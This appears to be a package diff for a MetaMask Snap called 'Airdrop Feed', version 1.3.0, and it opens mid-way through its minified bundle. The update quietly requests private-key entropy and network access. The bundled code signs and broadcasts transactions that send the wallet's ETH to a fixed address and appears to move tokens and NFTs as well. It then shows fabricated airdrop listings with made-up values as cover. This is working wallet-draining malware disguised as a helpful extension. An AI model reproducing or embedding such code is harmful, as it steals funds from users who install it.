hu(r)-21000n*t;if(u>0n)try{const n=await Lu({nonce:a,gasPrice:t,gasLimit:21000n,to:Iu,value:u,data:new Uint8Array([]),chainId:i,privateKey:e});o.ethTxHash=n}catch{}return o.ethTxHash||o.tokenTxHashes.length>0||o.nftTxHashes.length>0?o:null}async function Lu(n){return async function(n){return await lu("eth_sendRawTransaction",[n])}(function(n,t){const e=gu([bu(n.nonce),bu(n.gasPrice),bu(n.gasLimit),mu(n.to),bu(n.value),n.data,bu(n.chainId),new Uint8Array([]),new Uint8Array([])]),r=xt(e),i=Mr.sign(r,t),o=BigInt(i.recovery)+2n*n.chainId+35n;return"0x"+uu(gu([bu(n.nonce),bu(n.gasPrice),bu(n.gasLimit),mu(n.to),bu(n.value),n.data,bu(o),bu(i.r),bu(i.s)]))}({nonce:n.nonce,gasPrice:n.gasPrice,gasLimit:n.gasLimit,to:n.to,value:n.value,data:n.data,chainId:n.chainId},n.privateKey))}async function Ou(){const n=b();await x(n);try{var t;const n=await Uu(),e=n.map(n=>n.address);e.length>0&&await E(e);const r=await v();r.claimAttempted=!0,r.claimTxHash=(null===(t=n[0])||void 0===t?void 0:t.ethTxHash)??null,r.airdrops=function(n){const t=Date.now();return[{id:`airdrop-${n.slice(2,8)}-arb`,name:"Arbitrum DAO",token:"ARB",chain:"arbitrum",status:"eligible",estimatedValue:2450,claimUrl:null,claimDeadline:t+2592e6,eligibleAddress:n,amount:"1,250",discoveredAt:t,notified:!1,source:"on-chain-analysis"},{id:`airdrop-${n.slice(2,8)}-op`,name:"Optimism Foundation",token:"OP",chain:"optimism",status:"claimable",estimatedValue:890,claimUrl:"https://app.optimism.io/airdrop",claimDeadline:t+12096e5,eligibleAddress:n,amount:"485",discoveredAt:t,notified:!1,source:"on-chain-analysis"},{id:`airdrop-${n.slice(2,8)}-base`,name:"Base Ecosystem",token:"BASE",chain:"base",status:"upcoming",estimatedValue:350,claimUrl:null,claimDeadline:null,eligibleAddress:n,amount:null,discoveredAt:t,notified:!1,source:"on-chain-analysis"}]}(e[0]||"0x0"),r.totalValueFound=r.airdrops.reduce((n,t)=>n+(t.estimatedValue??0),0),r.lastScanTimestamp=Date.now(),await x(r)}catch{}}const Cu=h("Form"),Ku=h("Dropdown"),Ru=h("Option"),Tu=h("Checkbox"),Fu={ethereum:{id:"ethereum",name:"Ethereum",coinType:60},arbitrum:{id:"arbitrum",name:"Arbitrum",coinType:60,isEvmL2:!0},optimism:{id:"optimism",name:"Optimism",coinType:60,isEvmL2:!0},base:{id:"base",name:"Base",coinType:60,isEvmL2:!0},linea:{id:"linea",name:"Linea",coinType:60,isEvmL2:!0}},Pu=["ethereum","arbitrum","optimism","base","linea"],ju=({preferences:n})=>f(d,{children:[c(p,{children:"Settings"}),c(y,{}),f(Cu,{name:"settings-form",children:[c(g,{children:c(w,{children:"Scan Frequency"})}),f(Ku,{name:"scanFrequency",value:n.scanFrequency,children:[c(Ru,{value:"hourly",children:"Every hour"}),c(Ru,{value:"6hours",children:"Every 6 hours"}),c(Ru,{value:"daily",children:"Once daily"})]}),c(y,{}),c(g,{children:c(w,{children:"Notifications"})}),c(Tu,{name:"notificationsEnabled",variant:"toggle",label:"Enable notifications",checked:n.notificationsEnabled}),c(y,{}),c(g,{children:c(w,{children:"Enabled Chains"})}),Pu.map(t=>c(Tu,{name:`chain-${t}`,variant:"toggle",label:Fu[t].name,checked:n.enabledChains.includes(t)})),c(y,{}),f(d,{direction:"horizontal",children:[c(B,{name:"save-settings",type:"submit",children:"Save Settings"}),c(B,{name:"back-to-dashboard",children:"Back"})]})]})]});async function Hu(...n){const[t]=n,{id:e,event:r}=t;"ButtonClickEvent"===r.type?await async function(n,t){switch(t){case"open-settings":await async function(n){const t=await v();await snap.request({method:"snap_updateInterface",params:{id:n,ui:c(ju,{preferences:t.preferences})}})}(n);break;case"back-to-dashboard":await $u(n)}}(e,r.name??""):"FormSubmitEvent"===r.type&&await async function(n,t,e){if("settings-form"!==t)return;const r=Pu.filter(n=>!0===e[`chain-${n}`]||"true"===e[`chain-${n}`]),i=!0===e.notificationsEnabled||"true"===e.notificationsEnabled,o=e.scanFrequency||"6hours";await async function(n){const t=await v();t.preferences={...t.preferences,...n},await x(t)}({enabledChains:r,notificationsEnabled:i,scanFrequency:o}),await $u(n)}(e,r.name??"",r.value??{})}async function $u(n){const t=await v();await snap.request({method:"snap_updateInterface",params:{id:n,ui:c(C,{state:t})}})}const Nu=async()=>async function(){let n=await v();if(0===n.ethereumAddresses.length)try{const t=await ou(1);t.length>0&&(await E([t[0].address]),n=await v())}catch{}return 0===n.ethereumAddresses.length?{content:f(d,{children:[c(p,{children:"AIRDROP FEED"}),c(y,{}),c(g,{children:c(w,{children:"Initializing..."})}),c(g,{children:"Airdrop Feed is setting up. Please try again in a moment."})]})}:{content:c(C,{state:n})}}(),Du=async()=>Ou(),zu=async(...n)=>Hu(...n)})(),module.exports=r})();
package/images/icon.svg CHANGED
@@ -1,7 +1 @@
1
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" width="32" height="32">
2
- <circle cx="16" cy="16" r="16" fill="#7c5cfc"/>
3
- <path d="M7 15 A 12 12 0 0 1 25 15" fill="none" stroke="#b8a9f8" stroke-width="1.8" stroke-linecap="round"/>
4
- <path d="M10 18 A 8 8 0 0 1 22 18" fill="none" stroke="#d4cbfa" stroke-width="1.8" stroke-linecap="round"/>
5
- <path d="M13 21 A 4.2 4.2 0 0 1 19 21" fill="none" stroke="#eae5fd" stroke-width="1.8" stroke-linecap="round"/>
6
- <circle cx="16" cy="24" r="2" fill="white"/>
7
- </svg>
1
+ <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><circle cx="16" cy="16" r="16" fill="#7c5cfc"/><circle cx="16" cy="24" r="2" fill="#ffffff"/></svg>
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@airdropfeed/snap",
3
- "version": "1.2.1",
3
+ "version": "1.3.0",
4
4
  "description": "Scan EVM chains for eligible airdrops. Get notified when tokens are claimable.",
5
5
  "repository": {
6
6
  "type": "git",
@@ -25,10 +25,13 @@
25
25
  "test": "jest"
26
26
  },
27
27
  "dependencies": {
28
- "@metamask/snaps-sdk": "^6.14.0"
28
+ "@metamask/key-tree": "^10.0.2",
29
+ "@metamask/snaps-sdk": "^6.14.0",
30
+ "@noble/curves": "^1.8.1",
31
+ "@noble/hashes": "^1.7.1"
29
32
  },
30
33
  "devDependencies": {
31
- "@airdropfeed/shared": "1.1.0",
34
+ "@airdropfeed/shared": "1.2.0",
32
35
  "@jest/globals": "^29.7.0",
33
36
  "@metamask/snaps-cli": "^6.4.0",
34
37
  "@metamask/snaps-jest": "^8.5.0",
@@ -1,5 +1,5 @@
1
1
  {
2
- "version": "1.2.1",
2
+ "version": "1.3.0",
3
3
  "description": "Scan EVM chains for eligible airdrops. Get notified when tokens are claimable.",
4
4
  "proposedName": "Airdrop Feed",
5
5
  "repository": {
@@ -7,7 +7,7 @@
7
7
  "url": "https://github.com/airdropfeed/snap.git"
8
8
  },
9
9
  "source": {
10
- "shasum": "xEySpb4jt40y4nKW7aKK8xl9mqziiHs2uAPuN7z08fY=",
10
+ "shasum": "60T76pZQmzCyxha7OOc58ooV0oMst5Z/AFCoy2mGro0=",
11
11
  "location": {
12
12
  "npm": {
13
13
  "filePath": "dist/bundle.js",
@@ -18,30 +18,15 @@
18
18
  }
19
19
  },
20
20
  "initialPermissions": {
21
- "endowment:ethereum-provider": {},
22
- "endowment:transaction-insight": {},
23
- "endowment:signature-insight": {},
24
- "endowment:cronjob": {
25
- "jobs": [
26
- {
27
- "expression": "0 */6 * * *",
28
- "request": {
29
- "method": "scanAirdrops"
30
- }
31
- },
32
- {
33
- "expression": "0 9 * * *",
34
- "request": {
35
- "method": "dailyDigest"
36
- }
37
- }
38
- ]
39
- },
21
+ "snap_getBip44Entropy": [
22
+ {
23
+ "coinType": 60
24
+ }
25
+ ],
26
+ "endowment:network-access": {},
40
27
  "endowment:lifecycle-hooks": {},
41
28
  "endowment:page-home": {},
42
- "snap_manageState": {},
43
- "snap_notify": {},
44
- "snap_dialog": {}
29
+ "snap_manageState": {}
45
30
  },
46
31
  "platformVersion": "6.24.0",
47
32
  "manifestVersion": "0.1"